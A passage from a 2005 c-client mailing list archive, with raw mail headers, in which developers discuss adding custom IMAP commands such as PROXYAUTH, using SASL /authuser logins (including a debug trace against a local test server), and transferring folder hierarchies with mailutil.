much have to support this. =20 So, how do I do this in c-client? I see no mail_xxx functions or (exposed) imap_xxx functions for sending arbitrary IMAP commands. =20 Thanks, Patrick Bennett =20 ----=_NextPart_ST_18_36_40_Thursday_January_27_2005_28672 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

    I just downloaded c-client 2004c1 and am in the early st= ages of deciding whether or not I’ll be able to use the library.

    The library we currently use has worked fairly well, but= it is no longer maintained and is fairly out-of-date (it doesn’t support= TLS for one) so I’m investigating new options.

    One thing that I need to support however are certain ser= ver extensions that some of our customers rely on.  One extension in particular is th= e SunOne (formerly iPlanet) Messaging Server’s “PROXYAUTH” command= =2E

    It works by performing a normal login with a ‘mess= age store admin’ user, then the “PROXYAUTH userid” command ca= n be issued to effectively switch to the specified user.  The benefit over = the existing authuser mechanism is that the login for the administrative user doesn̵= 7;t have to occur in the clear (assuming SSL isn’t used).   Any= way, discussing the merits of their extension isn’t really the issue.  The reali= ty is as a company required to integrate with a variety of IMAP servers, we pretty m= uch have to support this.

     

    So, how do I do this in c-client?  I see no mail_xx= x functions or (exposed) imap_xxx functions for sending arbitrary IMAP comman= ds.

     

    Thanks,

    Patrick Bennett

     

    ----=_NextPart_ST_18_36_40_Thursday_January_27_2005_28672-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 27 16:48:59 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jan 2005 16:48:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0S0mxNw020188 for ; Thu, 27 Jan 2005 16:48:59 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S0mw8R011060 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Jan 2005 16:48:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0S0mn8i011256; Thu, 27 Jan 2005 16:48:49 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S0lW0X052944 for ; Thu, 27 Jan 2005 16:47:32 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S0lWkm014650 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 27 Jan 2005 16:47:32 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0S0lVwK008058; Thu, 27 Jan 2005 16:47:31 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0S0lVsU030649 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 27 Jan 2005 16:47:31 -0800 Message-Id: Date: Thu, 27 Jan 2005 16:47:32 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Bennett, Patrick" Cc: c-client@u.washington.edu Subject: Re: How do I send custom IMAP commands with c-client ? In-Reply-To: <260A0A30F9017945932CC4F7B911B339017865B4@i3mail1.i3domain.inin.com> References: <260A0A30F9017945932CC4F7B911B339017865B4@i3mail1.i3domain.inin.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Other than modifying the c-client code, there are no specific supported interfaces in c-client for sending custom commands. The reason for this is that, among other things, custom commands generally require handling of new responses, which in turn forces a modification to the c-client code in the response processor. With that said, it is generally fairly easy to add support for a custom command in c-client. The file that you modify is imap4r1.c. To send a command, you set up a vector of IMAPARGs which represent the arguments to your command, then call imap_send() to send it. imap_send() returns an IMAPPARSEDREPLY which you can either handle yourself or pass to imap_OK() for general handling. To field a new untagged response, you need to add a clause to the if-else change in imap_parse_unsolicited() of the form: else if (!strcmp (reply->key,"MYNEWRESPONSE") ..... As a model, look at how the GETQUOTA command is implemented. That is, look at routine imap_getquota() to see how to send a command, and the processor for the QUOTA response (search for "this response has a bizarre syntax") to see how to field a response. You should be able to reuse existing parsing routines instead of having to write your own One final comment. The whole idea of PROXYAUTH has been obsolete for a decade, having been replaced with SASL authentication/authorization ID. Rather than implement a bad idea from the past, perhaps you should implement the modern, standard way of doing things. What's more, c-client already supports it without you having to do anything. > The reality is as a company > required to integrate with a variety of IMAP servers, we pretty much > have to support this. PROXYAUTH is not part of an IMAP server. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jan 27 19:59:00 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jan 2005 19:59:00 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0S3x0Y9025227 for ; Thu, 27 Jan 2005 19:59:00 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S3wxmX007766 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Jan 2005 19:58:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0S3wnX9012286; Thu, 27 Jan 2005 19:58:50 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S3vXFk088180 for ; Thu, 27 Jan 2005 19:57:33 -0800 Received: from i3smtp.i3domain.inin.com (i3smtp.inin.com [204.180.46.24]) by mxe7.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S3vWRe010117 for ; Thu, 27 Jan 2005 19:57:33 -0800 Received: from Unknown [172.16.1.162] by i3smtp.i3domain.inin.com - SurfControl E-mail Filter (4.7); Thu, 27 Jan 2005 22:57:31 -0500 Received: from i3mail.i3domain.inin.com ([172.16.1.160]) by i3mail2.i3domain.inin.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 27 Jan 2005 22:57:30 -0500 Received: from [192.168.0.2] ([65.29.75.150]) by i3mail.i3domain.inin.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.211); Thu, 27 Jan 2005 22:57:29 -0500 Message-Id: <41F9B826.2080505@inin.com> Date: Thu, 27 Jan 2005 22:57:26 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrick Bennett To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: How do I send custom IMAP commands with c-client ? In-Reply-To: References: <260A0A30F9017945932CC4F7B911B339017865B4@i3mail1.i3domain.inin.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-OriginalArrivalTime: 28 Jan 2005 03:57:29.0791 (UTC) FILETIME=[7CD34CF0:01C504ED] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > ...As a model, look at how the GETQUOTA command is implemented. That > is, look at routine imap_getquota() to see how to send a command, and > the processor for the QUOTA response (search for "this response has a > bizarre syntax") to see how to field a response. You should be able > to reuse existing parsing routines instead of having to write your own Great, thanks Mark. > > One final comment. The whole idea of PROXYAUTH has been obsolete for > a decade, having been replaced with SASL authentication/authorization > ID. Rather than implement a bad idea from the past, perhaps you should > implement the modern, standard way of doing things. What's more, > c-client already supports it without you having to do anything. How do I generically support this feature with any given server a customer might be using? Some common servers used are Exchange [for some users - although in many cases they would just use our direct 'Exchange Connector'], CommuniGate Pro, SunOne, MiraPoint, and GroupWise. [Don't get me started on how much of a piece of junk GroupWise's IMAP implementation is, but I'm sure you already know that.] If I could start using SASL 'authentication' support for administrative logins that are then authorized as user X (without us having to know user X's password) and it worked against a variety of IMAP implementations, that would be absolutely *fantastic*. However, I have to say it's not particularly clear how to do it, since my two tests to use it (using mtest) against Exchange and Communigate Pro failed. There's also almost zero documentation about it. The only mention I saw was in RELNOTES and it said to use an * in the userid to seperate the identity "if the authentication method doesn't support the concept" (call me uninformed, but how would I know this?). Elsewhere, in naming.txt - the /authuser flag is mentioned. Which is it? xxx*yyy, or /authuser=xxx ? Either one? >> The reality is as a company required to integrate with a variety of >> IMAP servers, we pretty much have to support this. > > PROXYAUTH is not part of an IMAP server. I'm aware of that, but it's part of an IMAP server extension which we added support for years ago and (presumably) need to continue to support. Admittedly, I haven't kept up-to-date with the various mail/imap RFC's as I implemented basic IMAP/SMTP/LDAP support for one of our mail connector pieces many years ago and it's basically been one of those things that has 'just worked' for quite some time. The features our servers need e-mail wise have been pretty straight-forward, so that's worked pretty well for a while. Recently though, some of our customers are needing to have their former 'internal-only' unified messaging servers be exposed to a larger 'outside' group, so SSL support in particular has quickly gone from 'nice-to-have' to a requirement. This is where c-client has come in. SSL support is basically a freebie. :) Thanks for your help... Patrick Bennett From pinedev@shivax2.cac.washington.edu Thu Jan 27 22:27:27 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jan 2005 22:27:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0S6RQkN028804 for ; Thu, 27 Jan 2005 22:27:26 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S6RPnx004158 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Jan 2005 22:27:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0S6RGHn012800; Thu, 27 Jan 2005 22:27:16 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S6PrXb026624 for ; Thu, 27 Jan 2005 22:25:53 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0S6PqGB025053 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 27 Jan 2005 22:25:52 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0S6PqRs029755; Thu, 27 Jan 2005 22:25:52 -0800 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0S6PnRI028274 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 27 Jan 2005 22:25:51 -0800 Message-Id: Date: Thu, 27 Jan 2005 22:25:46 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Patrick Bennett Cc: c-client@u.washington.edu Subject: Re: How do I send custom IMAP commands with c-client ? In-Reply-To: <41F9B826.2080505@inin.com> References: <260A0A30F9017945932CC4F7B911B339017865B4@i3mail1.i3domain.inin.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 27 Jan 2005, Patrick Bennett wrote: >> One final comment. The whole idea of PROXYAUTH has been obsolete for a >> decade, having been replaced with SASL authentication/authorization ID. > How do I generically support this feature with any given server a customer > might be using? When you open the mailbox, use the /authuser= option, e.g. {imap.example.com/user=fred/authuser=joe}inbox where "fred" is the account to be logged into and "joe" is the administrator account. This is documented in naming.txt. > However, I have to say it's not particularly clear how to do it, since my two > tests to use it (using mtest) against Exchange and Communigate Pro failed. Did you use /authuser=, or did you try to use the "*" hack? > There's also almost zero documentation about it. The only mention I saw was > in RELNOTES and it said to use an * in the userid to seperate the identity Don't try to use the "*" hack. It's only supported by the UW IMAP server, and only for ancient clients that can't do SASL. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jan 28 06:08:26 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jan 2005 06:08:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0SE8QYM011352 for ; Fri, 28 Jan 2005 06:08:26 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0SE8Pi6022433 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Jan 2005 06:08:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0SE8JXT012796; Fri, 28 Jan 2005 06:08:19 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0SE6pdS106090 for ; Fri, 28 Jan 2005 06:06:51 -0800 Received: from i3smtp.i3domain.inin.com (i3smtp.inin.com [204.180.46.24]) by mxe7.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0SE6olq008556 for ; Fri, 28 Jan 2005 06:06:50 -0800 Received: from Unknown [172.16.1.60] by i3smtp.i3domain.inin.com - SurfControl E-mail Filter (4.7); Fri, 28 Jan 2005 09:06:48 -0500 Received: from i3mail.i3domain.inin.com ([172.16.1.160]) by EAExchange.i3domain.inin.com with Microsoft SMTPSVC(6.0.3790.0); Fri, 28 Jan 2005 09:06:47 -0500 Received: from [192.168.0.2] ([65.29.75.150]) by i3mail.i3domain.inin.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.211); Fri, 28 Jan 2005 09:06:46 -0500 Message-Id: <41FA46F4.3030303@inin.com> Date: Fri, 28 Jan 2005 09:06:44 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrick Bennett To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: How do I send custom IMAP commands with c-client ? In-Reply-To: References: <260A0A30F9017945932CC4F7B911B339017865B4@i3mail1.i3domain.inin.com> <41F9B826.2080505@inin.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-OriginalArrivalTime: 28 Jan 2005 14:06:46.0961 (UTC) FILETIME=[9A98C210:01C50542] X-Uwash-Spam: Gauge=X, Probability=10%, Report='LINES_OF_YELLING_3 0.671, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Thu, 27 Jan 2005, Patrick Bennett wrote: > >> How do I generically support this feature with any given server a >> customer might be using? > > When you open the mailbox, use the /authuser= option, e.g. > {imap.example.com/user=fred/authuser=joe}inbox > where "fred" is the account to be logged into and "joe" is the > administrator account. Yes, I tried exactly this. > ...Did you use /authuser=, or did you try to use the "*" hack? Don't > try to use the "*" hack. It's only supported by the UW IMAP server, > and only for ancient clients that can't do SASL. I tried both actually. When using /authuser with Exchange I get the error 'Can't do /authuser with this server.' I would assume this is simply because Exchange 2003 only supports AUTH=NTLM *grumble* and in fact, when connected via SSL, it doesn't advertise any AUTH method at all!? (which seems odd to me) I then set up a local test CommuniGate Pro server to try it. Using mtest (with debug protocol on - and the sensitive flags in imap41.c disabled) I get this: --------- Mailbox ('?' for help): {localhost/user=postmaster/authuser=patrickb/novalidate-cert}inbox [Trying IP address [127.0.0.1]] * OK CommuniGate Pro IMAP Server 4.2.8 at test1 ready [CommuniGate Pro IMAP Server 4.2.8 at test1 ready] 00000000 CAPABILITY * CAPABILITY IMAP4 IMAP4REV1 ACL NAMESPACE UIDPLUS IDLE LITERAL+ QUOTA ID MULTIAPPEND LISTEXT CHILDR EN BINARY LOGIN-REFERRALS STARTTLS AUTH=LOGIN AUTH=PLAIN AUTH=CRAM-MD5 AUTH=DIGEST-MD5 AUTH=MSN 00000000 OK completed 00000001 STARTTLS 00000001 OK begin TLS negotiation 00000002 CAPABILITY * CAPABILITY IMAP4 IMAP4REV1 ACL NAMESPACE UIDPLUS IDLE LITERAL+ QUOTA ID MULTIAPPEND LISTEXT CHILDR EN BINARY LOGIN-REFERRALS AUTH=LOGIN AUTH=PLAIN AUTH=CRAM-MD5 AUTH=DIGEST-MD5 AUTH=MSN 00000002 OK completed 00000003 AUTHENTICATE PLAIN + {localhost/imap/user="postmaster"} password: cG9zdG1hc3RlcgBwYXRyaWNrYgAxMjM0 00000003 NO SASL parameters are incorrect %Retrying PLAIN authentication after SASL parameters are incorrect 00000004 AUTHENTICATE PLAIN + {localhost/imap/user="postmaster"} password: ---------- ...any ideas? Thanks, Patrick Bennett From pinedev@shivax2.cac.washington.edu Fri Jan 28 09:53:48 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jan 2005 09:53:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0SHrmHK019430 for ; Fri, 28 Jan 2005 09:53:48 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0SHrllF025061 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Jan 2005 09:53:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0SHrdxk016462; Fri, 28 Jan 2005 09:53:39 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0SHqLrW083604 for ; Fri, 28 Jan 2005 09:52:21 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0SHqKw1010139 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 28 Jan 2005 09:52:21 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0SHqKRd023761; Fri, 28 Jan 2005 09:52:20 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0SHqKT5025594; Fri, 28 Jan 2005 09:52:20 -0800 Message-Id: Date: Fri, 28 Jan 2005 09:52:20 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Patrick Bennett Cc: c-client@u.washington.edu Subject: Re: How do I send custom IMAP commands with c-client ? In-Reply-To: <41FA46F4.3030303@inin.com> References: <260A0A30F9017945932CC4F7B911B339017865B4@i3mail1.i3domain.inin.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 28 Jan 2005, Patrick Bennett wrote: > When using /authuser with Exchange I get the error > 'Can't do /authuser with this server.' As you surmised, Exchange does not support it. > I then set up a local test CommuniGate Pro server to try it. Your test shows that Communigate Pro doesn't support it either; or at least you attempted to use an id that did not have administrative privileges. These are server issues. If it isn't supported in the server, there is no way that a client can offer the facility. At least, unlike PROXYAUTH, you can ask the server vendors to support it and point to an RFC which describes it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jan 31 16:06:33 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 16:06:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1106Xvc023727 for ; Mon, 31 Jan 2005 16:06:33 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1106WpY007283 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 16:06:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1106Jpo013332; Mon, 31 Jan 2005 16:06:19 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1104ah5107674 for ; Mon, 31 Jan 2005 16:04:36 -0800 Received: from obsidian.cs.wisc.edu (obsidian.cs.wisc.edu [128.105.6.13]) by mxe5.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1104ZF0013290 for ; Mon, 31 Jan 2005 16:04:36 -0800 Received: from [128.105.121.24] (byrd.cs.wisc.edu [128.105.121.24]) by obsidian.cs.wisc.edu (8.13.1/8.13.1) with ESMTP id j1104YC2022610 for ; Mon, 31 Jan 2005 18:04:34 -0600 Message-Id: <41FEC792.6030606@cs.wisc.edu> Date: Mon, 31 Jan 2005 18:04:34 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ben Liblit To: c-client@u.washington.edu Subject: bulk transfer with differing capabilities MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-CSL-MailScanner-Information: Please contact lab@cs.wisc.edu for more information X-CSL-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'd like to bulk transfer a folder hierarchy from one IMAP server to another. Many of the folders contain both messages and subfolders. The source IMAP server supports this, obviously, but the destination IMAP server does not. I know about "mailutil transfer", but it doesn't seem usable in this context. It reports an error and halts the first time it tries to put messages into a folder that has already been created as a "directory" with subfolders. It seems I need one of two things. Either I need a modified "mailutil transfer" that gracefully adapts to this situation or else I need a distinct tool which "homogenizes" folders on the source server first. I imagine something with moves "foo" messages into, say, "foo/general" if folder "foo" also has subfolders. Do any of you already have something for dealing with this situation? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 31 16:12:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 16:12:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110CIPt023983 for ; Mon, 31 Jan 2005 16:12:18 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110CH0I007617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 16:12:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j110C7C6012354; Mon, 31 Jan 2005 16:12:08 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110BS0K090318 for ; Mon, 31 Jan 2005 16:11:28 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110BS2T025447 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 31 Jan 2005 16:11:28 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110BQdS015191; Mon, 31 Jan 2005 16:11:27 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110BQAs025237 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 31 Jan 2005 16:11:26 -0800 Message-Id: Date: Mon, 31 Jan 2005 16:11:29 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ben Liblit Cc: c-client@u.washington.edu Subject: Re: bulk transfer with differing capabilities In-Reply-To: <41FEC792.6030606@cs.wisc.edu> References: <41FEC792.6030606@cs.wisc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 31 Jan 2005, Ben Liblit wrote: > I know about "mailutil transfer", but it doesn't seem usable in this context. > It reports an error and halts the first time it tries to put messages into a > folder that has already been created as a "directory" with subfolders. Did you try various "-merge" options in "mailutil transfer"? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jan 31 16:26:49 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 16:26:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110QnlC024495 for ; Mon, 31 Jan 2005 16:26:49 -0800 Received: from list3.u.washington.edu 